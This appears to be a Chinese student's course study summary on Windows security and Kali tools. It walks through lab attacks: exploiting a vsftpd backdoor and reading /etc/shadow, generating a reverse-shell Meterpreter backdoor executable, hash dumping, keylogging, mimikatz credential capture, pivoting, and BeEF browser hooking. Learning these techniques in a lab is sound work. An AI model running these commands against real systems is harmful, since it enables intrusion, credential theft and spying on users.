教材学习总结

Windows操作系统基本框架

windows系统是一个完美美的操作系统,它具有可扩展性、可移植性、稳定性、健壮性、兼容性、可伸缩性,性能优越,其实现过程非常复杂,其主要的思想是系统分层。 该图显示了windows系统的基本框架结构。主要分为用户模式和内核模式,其中图中的每一个模块负责系统的某一部分功能,进而组成整个windows操作系统的框架,实现系统的稳定运行。它的核心组件有:Ntoskrnl.exe(内核)、Ntkrnlpa.exe(仅32系统有)、Hal.dll(硬件虚拟层)、NTdll.dll(中间层,衔接用户层和内核层)、系统子dll(Kernel32.dll、Advapi32.dll、User32.dll、Gdi32.dll)等。

  • Windows操作系统内核中实现了如下的核心机制:

    Windows进程和线程管理机制
    Windows内存管理机制
    Windows文件管理机制
    Windows注册表管理机制
    Windows的网络机制

  • Windows操作系统基于引用监控器模型(RM)来实现基本的对象安全模型。引用监控器模型(RM)最为核心的是位于内核中的SRM安全引用监控器,以及位于用户态的LSASS安全服务

win安全体系结构和机制

  • Windows操作系统的安全设计目标是采用一致的、健壮的、基于对象的安全模型。

  • 机制:对主体用户的身份认证机制、对所有资源对象的访问控制机制、对访问的安全审计机制、其他安全机制(防火墙、补丁自动更新、病毒防护等)。

Windows远程安全攻防技术

  • 分类:

远程口令猜解与破解攻击

攻击Windows网络服务

攻击Windows客户端及用户

Windows系统的安全漏洞生命周期:

Windows安全漏洞发现、利用与修补过程
安全漏洞公开披露信息库
针对特定目标的渗透测试攻击过程
使用Metasploit软件实施渗透测试

Windows远程口令猜测与破解攻击:

远程口令自猜测
远程口令字交换通信窃听与破解
远程口令猜测与破解防范措施

Windows网络服务远程渗透攻击:

针对NetBIOS网络服务的著名漏洞及攻击
针对SMB网络服务的著名漏洞及攻击
针对MSRPC网络服务的著名漏洞及攻击
针对Windows系统上微软网络服务的远程渗透攻击
针对Windows系统上第三方网络服务的远程渗透攻击

win本地安全攻防技术

  • 攻击技术:
    本地特权提升---提权主要利用DLL注入和破解本地程序安全漏洞实现,工具有GetAdmin及Metasploit。
    敏感信息窃取----敏感信息获取主要包括系统口令字密文提取、系统口令字破解及用户敏感数据窃取。消踪灭迹主要包括关闭审计功能和清理事件日志。
    消踪灭迹--------关闭审计功能、清理事件日志
    远程控制与后门程序----远程控制与后门程序可通过各种现成的黑客工具利用命令行或是图形化界面实现。可针对各个不同的攻击手段采取相应的防范措施。

视频学习总结

漏洞利用之Metasploit基础

  • 启动服务
    在kali中使用Metasploit,需要先开启PostgreSQL数据库服务和metasploit服务,然后就可以完整的利用msf数据库查询exploit和记录
    service postgresql start
    service metasploit start
    如果不想每次开机都手工启动服务,可以配置系统启动
    update-rc.d postgresql enable
    update-rc.d metasploit enable
    • 输入service postgresql start service metasploit start启动失败,查找原因后解决。解决方法见下方。

  • 路径介绍
    kali中msf的路径为/usr/share/metasploit-framework
    Auxiliary:辅助模块
    encoders:供msfencode编码工具使用,具体可以使用msfencode -l
    exploits:攻击模块,每个介绍msf的文章都会提到那个ms08_067_netapi,它就在这个目录
    payloads:这里面列出的是攻击载荷,也就是攻击成功之后执行的代码。比如常设置的windows/meterpreter/reverse_tcp就在这个文件夹下
    post:后渗透阶段模块,在获得metasploit的shell之后可以使用的攻击代码。比如常用的hashdump、arp_scanner就在这里

  • 基本命令

msfpayload:用来生成payload或者shellcode。搜索的时候可以用msfpayload -l|grep "windows"这样的命令查询。-o选项可以列出payload所需的参数

msfencode:msf中的编码器,早期为了编码绕过AV(杀毒软件),现在常用msfpayload与它编码避免exploit的坏字符串

msfconsole:开启Metasploit的console

  • 测试示例:首先要发现漏洞,搜索exploit

    • 1 首先,查看metasploit系统的IP 192.168.232.137,在kali中用nmap -sV 192.168.232.137查看Metasploit的服务版本

    • 2 在刚刚打开的msf中搜索看Metasploit的ftp服务是否有漏洞search vsftpd

    • 3 使用use exploit/unix/ftp/vsftpd_234_backdoor进入,然后使用show options查看参数,最后set RHOST 192.168.232.137设置远程IP地址

    • 4 选择payload。set payload cmd/unix/interact

    • 5 执行攻击测试可以看到,使用exploit执行攻击。成功之后,查看id,使用whoami命令,查看ipconfig,使用cat命令查看文件cat /etc/passwdcat /etc/shadow都是可行的。

kali漏洞利用之Meterpreter介绍

Meterpreter是metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpretershell的链接。

Meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展命令组成,极大地丰富了攻击方式。其有很多有用的功能,如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe.、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程机器的网络接口和IP地址等信息

常用的命令:
background:将当前会话放置后台;
load/use:加载模块;
Interact:切换进一个信道;
migrate:迁移进程;
run:执行一个已有的模块,这里要说的是是输入run之后按两下tab键,会列出所有的已有的脚本,常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等;
Resource:执行一个已有的rc脚本常用的Meterpreter类型为:payload/windows/meterpreter/reverse_tcp

Meterpreter实践操作

  • 1 生成Meterpreter后门

在确保msf服务都打开的情况下,生成Meterpreter后门msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.232.130 LPORT=2333 R | msfencode -t exe -c 5 > /root/door.exe,执行这条命令之前记得按照漏洞利用之Metasploit基础部分启动服务,做好准备工作,具体都在下图中体现,其中将监听端口号改成2333,是因为我们执行msfvenom命令时的端口号为2333

  • 2 执行了msfvenom的命令后,虽然有其他的提示,但是在之前设置的目录中已经有了door.exe文件

  • 3 设置监听的靶机IP(192.168.200.2),然后在msf下用exploit进行监听,在靶机上运行door.exe文件后就可以在msf下得到Meterpreter session

  • 4 在此时,可以用background返回exploit,用sessions -i 1就可以再次回到Meterpreter

  • 5 用help可以查看Meterpreter的命令用法,常用命令sysinfo查看靶机信息,hasndump抓取hash

  • 6 抓取屏幕用screenshot,可以看到保存的路径

  • 7 还有一个键盘记录的功能keyscan_start,在靶机中打开一个记事本,输入Hello world!,然后在Meterpreter这边用命令keyscan_dump查看返回内容,要关闭这个功能,用keyscan_stop

  • 8 扩展工具:使用load -l键就可以看到这些扩展功能

    • meterpreter还提供了许多扩展工具:load mimikatz 进行目标机密码明文的抓取

kali漏洞利用之Metasploit后渗透测试

本节的测试是在上节的获取到Meterpreter session后门的基础上完成的

  • 1 查看当前网卡、网段信息

  • 2 添加路由表 run autoroute -s 10.0.0.1

  • 3 开Socks代理 通过使用 auxiliary/sever/socks4a模块,创建一个Socks代理,可以作为浏览器,Sqlmp,Namp等使用。

  • 4 通过Backgroundsessions -i可以自由切换进入Session

  • 5 输入run可以看到Meterpreter上可以做的很多命令

  • 6 获取内网信息run arp_scanner -r 10.0.0.1/24

  • 7 也可上传文件,做端口转发后续测试

  • 8 应用程序/权限维持/Tunnel工具集

  • 9 端口转发 upload lcx.exe c:\

kali漏洞利用之BeeF

对XSS漏洞往往需要一个强大的框架支持,如网络上的XSS平台,在kali下,Beef是一款丝毫不逊色于XSS平台的工具,Beef是浏览器攻击框架的简称,是一款专注于浏览器端的渗透测试工具

  • 1 命令行下启动beef

  • 2 此时浏览器自动访问此页面http://127.0.0.1:3000/ui/authentication

  • 3 使用默认用户名beef和默认密码beef登录

  • 4 BeEF 提供了一个测试的demo,在http://127.0.0.1:3000/demos/basic.html

  • 5 这个测试的demo是在访问了之后,BeEF就会hock到信息,我们在BeEF中查看,多了127.0.0.1这个文件夹,点开之后会显示一些信息

  • 6 HOCK持续的时间到关闭测试页面为止,在此期间,相当于被控制了,可以发送攻击命令,在Commends模块,可以完成很多任务:其中,4种颜色分别表示:绿色:该攻击模块可用,且隐蔽性强;灰色:该攻击模块可用,但隐蔽性差;橙色:该攻击模块是否可用还有待验证;红色:该攻击模块不可用

  • 7 测试:选取MISC下的RAW JavaScript code,点击Excute进行攻击,成功后在demo页面就会显示一个窗口

  • 8 Proxy功能

    • 选中目标主机,点右键,在菜单中选中Use as Proxy,然后在Rider选项卡中的Forge Request编辑并发送想要的内容
    • 等待
    • 完成
    • 查看包的细节
  • 9 BeEF默认是不加载Metasploit的,如果要使用Metasploit丰富的攻击模块,需要做些配置:

    • 修改/usr/share/beef-xss/config.yaml文件中的Matasploit,从false修改为true

    • 修改/usr/share/beef-xss/extensions/metasploit/config.yaml文件中下图标出部分,IP是本机IP

    *配置好后,打开msfconsole,运行命令load msgrpc ServerHost=192.168.232.130 Pass=abc123

    • 执行./beef -x命令

    • 重启服务service beef-xss start

    • 再次访问beef页面,查看commends命令中的metasploit,此时可以看到已经加载出来了

困难及解决

  • 视频26画面不完整,无法观看。

  • 输入service postgresql start service metasploit start启动失败,上网查找原因,是因为msf数据库需要更新,具体解决参考链接。

  • kali虚拟机VMtools莫名的就不可以了。

    • 反复查找发现安装过程中意外中断,再安装是出现错误,Error: Unable to execute "/usr/bin/vmware-uninstall-tools.pl.
      这是因为vmware-uninstall-tools.pl这个卸载文件没有被copy到/usr/bin中,导致卸载的时候提示错误。

    我们就把vmware-uninstall-tools.pl复制到/usr/bin中就可以安装了,操作如下

    1 解压虚拟机安装包

    2 进入解压后的文件bin目录 #cd vmware-tools-distrib/bin(打开)

    3 将vmware-uninstall-tools.pl到/usr/bin中 #cp vmware-uninstall-tools.pl /usr/bin

    同理,其他拷贝到知道目录。

    [链接](http://www.cnblogs.com/dview112/p/4428230.html)

上周错题总结

  • 可以ASCII码和16进制单字节方法输出Hello.java的Linux 命令:od -tcx1 Hello.java od -tc -tx1 Hello.java

  • Keimpx是一款 Python 编写的哈希传递工具,可以通过已有的哈希信息 GET 一个后门 SHELL。

  • Ophcrack 是一个彩虹表 Windows 密码 HASH 破解工具。

  • 传输层的攻击都和TCP三次握手过程的设计缺陷有关(False)

  • 网络安全事件响应过程中涉及的关键技术有:计算机取证;攻击追溯与归因;备份恢复与灾难恢复。

  • 入侵检测中最核心的任务是信息分析,主要技术有:异常检测和误用检测。其中对未知攻击无效的是误用检测。

  • 评估IDS的参数中,捕获的攻击和全部攻击之比为检测率。

  • 防火墙部署方式中,不能实现网络层和应用层双重安全的是:包过滤路由器;双宿主堡垒主机。

  • 防火墙的功能:
    1、检查控制进出网络的网络流量;
    2、防止内部网络信息的外泄;
    3、对网络访问进行监控审计;
    4、防止脆弱或不安全的协议和服务;
    5、强化网络安全策略并集成其他安全防御机制。

模型 组成
PDR模型 由Protection/防护、Detection/检测、Response/ 响应三部分组成
P2DR模型 由Protection/防护、Detection/检测、Response/ 响应、Policy /策略四部分组成
动态网络安全模型 由Protection/防护、Detection/检测、Policy /策略、Manager管理四部分组成。

学习进度条

时间 学习目标时间 实际学习时间
第一周 12 16
第二周 12 13
第三周 12 12
第四周 12 10
第五周 12 16
第六周 12 10

参考资料

网络攻防技术与实践 (官网)